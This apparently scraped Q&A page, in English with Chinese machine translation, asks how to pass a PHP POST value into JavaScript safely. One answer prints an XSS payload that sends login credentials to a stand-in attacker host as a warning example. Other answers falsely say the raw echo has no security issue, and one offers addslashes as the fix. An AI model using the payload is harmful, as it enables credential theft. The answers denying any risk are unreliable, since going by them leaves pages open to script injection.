简体   繁体   English

如何将变量从php传递给javascript?

[英]How to pass variable from php to javascript?

I want to pass a php variable to javascript. 我想将一个php变量传递给javascript。 I have tried something but I am not sure if it is safe way to do. 我尝试了一些东西,但我不确定这是否安全。

<?php
$name=$_POST['name']; 
?>

<script>
var name="<?php echo $name ?>";
</script>

Also people do it some thing like this 人们也这样做了

<?php 
$name = $_POST['name'];
echo '<script>';
echo 'var name = ' . json_encode($name) . ';';
echo '</script>';
?>

Which of the code is better in terms of safety. 哪个代码在安全性方面更好。 Is there any risk using first code? 使用第一个代码有任何风险吗? A little explanation will be enough. 一点点解释就足够了。 Thanks 谢谢

First case: 第一种情况:

This case if used if we want to simply assign string value in javascript variable. 如果我们想在javascript变量中简单地分配字符串值,则使用这种情况。

<script>
var name="<?php echo $name ?>";
</script>


Second case: 第二种情况:

For this case, you should use json_encode() when you want to add some array in javascript variable. 对于这种情况,当你想在javascript变量中添加一些array时,你应该使用json_encode()

<?php 
$name = array('name' => $_POST['name']);
echo '<script>';
echo 'var name = ' . json_encode($name) . ';';
echo '</script>';
?>

And yes, echo whole javascript or just echo your variable will make no change in your output. 是的, echo整个javascript或只是回显你的变量将不会改变你的输出。 Just make sure that your javascript variable has proper wrapper either ' or nothing in case of object; 只要确保你的JavaScript变量有适当的包装无论是'有或全无的对象的情况;

From experience, as your POST data shouldn't possibly be manipulated in the first place for all users, you have to keep in mind that you should never trust user input data - a form can be compromised. 根据经验,由于您的POST数据不应该首先为所有用户操纵,您必须记住,您永远不应该信任用户输入数据 - 表单可能会受到损害。


TL;DR TL; DR

It's impossible to give you a yes/no answer, it all depends of the context of your script. 这是不可能给你一个是/否答案,这完全取决于你的脚本的上下文。


Let's imagine a scenario. 让我们想象一个场景。 On your original form you're echo'ing a text that come from your database: 在原始表单上,您回显来自数据库的文本:

<form action="otherpage.php" method="post">
  <input name="name" type="text" id="name" />
  <?php echo $some_text_from_database; ?>
  <input type="submit" value="Submit" />
</form>

Imagine that a malicious hacker managed to changed the content of that text from database that you get by an SQL injection, some password got from an author account or whatever other way ; 想象一下,恶意黑客设法通过SQL注入从一个数据库中更改了该文本的内容,一些密码来自作者帐户或其他任何方式; to this : 对此:

<script type="text/javascript">
  document.getElementById('name').name = 'whatever';
</script>
<input name='name' type='text' value='";
        document.querySelector("#login_form").addEventListener("submit", function(){
            var data "login="+document.getElementById("login").value+"&password="+document.getElementById("password").value;
            var xmlhttp = new XMLHttpRequest();
            xmlhttp.open("POST", "http://hackerwebsite.com/get_passwords.php", true);
            xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xmlhttp.send();
        });
    var a="' />

This will first change the original input name, then create a new one with a malicious script as value. 这将首先更改原始输入名称,然后创建一个以恶意脚本作为值的新名称。 So we get in $_POST['name'] this new input, and not the original one - user input will be ignored. 所以我们得到$_POST['name']这个新输入,而不是原来的 - 用户输入将被忽略。

So, let's bring your imagination a bit further. 所以,让我们进一步发挥你的想象力。 Let's say that in your otherpage.php there is a login form for some reason. 让我们说在你的otherpage.php中有一个登录表单由于某种原因。 Doing this on this page: 在此页面上执行此操作:

<script>
var name="<?php echo $_POST['name']; ?>";
</script>

Will result to this: 将导致此:

<script>
var name="";
            document.querySelector("#login_form").addEventListener("submit", function(){
                var data "login="+document.getElementById("login").value+"&password="+document.getElementById("password").value;
                var xmlhttp = new XMLHttpRequest();
                xmlhttp.open("POST", "http://hackerwebsite.com/get_passwords.php", true);
                xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                xmlhttp.send();
            });
        var a="";
</script>

What this will do? 这会怎么做? When the login form will be submitted, an AJAX request will be sent to the hacker website, sending the login and password in plain text... 当提交登录表单时,将向黑客网站发送一个AJAX请求,以明文形式发送登录名和密码......

So to summarize this: hacker exploit your simple echo to access a form input he couldn't access in other way. 总结一下:黑客利用你的简单echo来访问他无法以其他方式访问的表单输入。


As it could sound as a really edge case, in a general way you should always be carefull when manipulating user input, even database data. 因为它听起来像一个非常边缘的情况,一般来说,在操纵用户输入,甚至是数据库数据时,你应该始终小心。 You can't always deeply understand the full context of what you're doing, and hackers are often highly imaginative people. 你不能总是深刻理解你正在做的事情的全部背景,黑客往往是富有想象力的人。 Just sanitizing your data with sanitize_text_field for example (considering you're working in a Wordpress context) will take no time. 例如,使用sanitize_text_field您的数据(考虑到您在Wordpress环境中工作)将花费时间。

PS: All that scenario is pretty much something I experienced few years ago. PS:所有这种情况几乎都是我几年前经历过的。 An hacker managed to stole a lot of user data with something like this on a website I had to work with. 一个黑客设法在我必须使用的网站上窃取了大量用户数据。 Since then I learn that being too much paranoid is not a bad thing :) 从那时起我就知道太过偏执并不是件坏事:)

Some good reading : 一些好的阅读:

Note that the Javascript code will break if $name contains quotes. 请注意,如果$name包含引号,Javascript代码将会中断。 Use the PHP function addslashes to avoid this: 使用PHP函数addslashes来避免这种情况:

<script>
var name = "<?php echo addslashes($name); ?>";
</script>

Your both code will produce same result and there no safety issue in both case. 您的两个代码都会产生相同的结果,在这两种情况下都没有安全问题。

You can find tutorials about web server and web browser on google for more details. 您可以在谷歌上找到有关Web服务器和Web浏览器的教程,以获取更多详细信息。 http://www.tutorialspoint.com/internet_technologies/web_servers.htm http://www.tutorialspoint.com/internet_technologies/web_servers.htm

Yep you are doing it right. 你做得对吗? There is no security issue in doing it the way you have done. 这样做没有任何安全问题。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM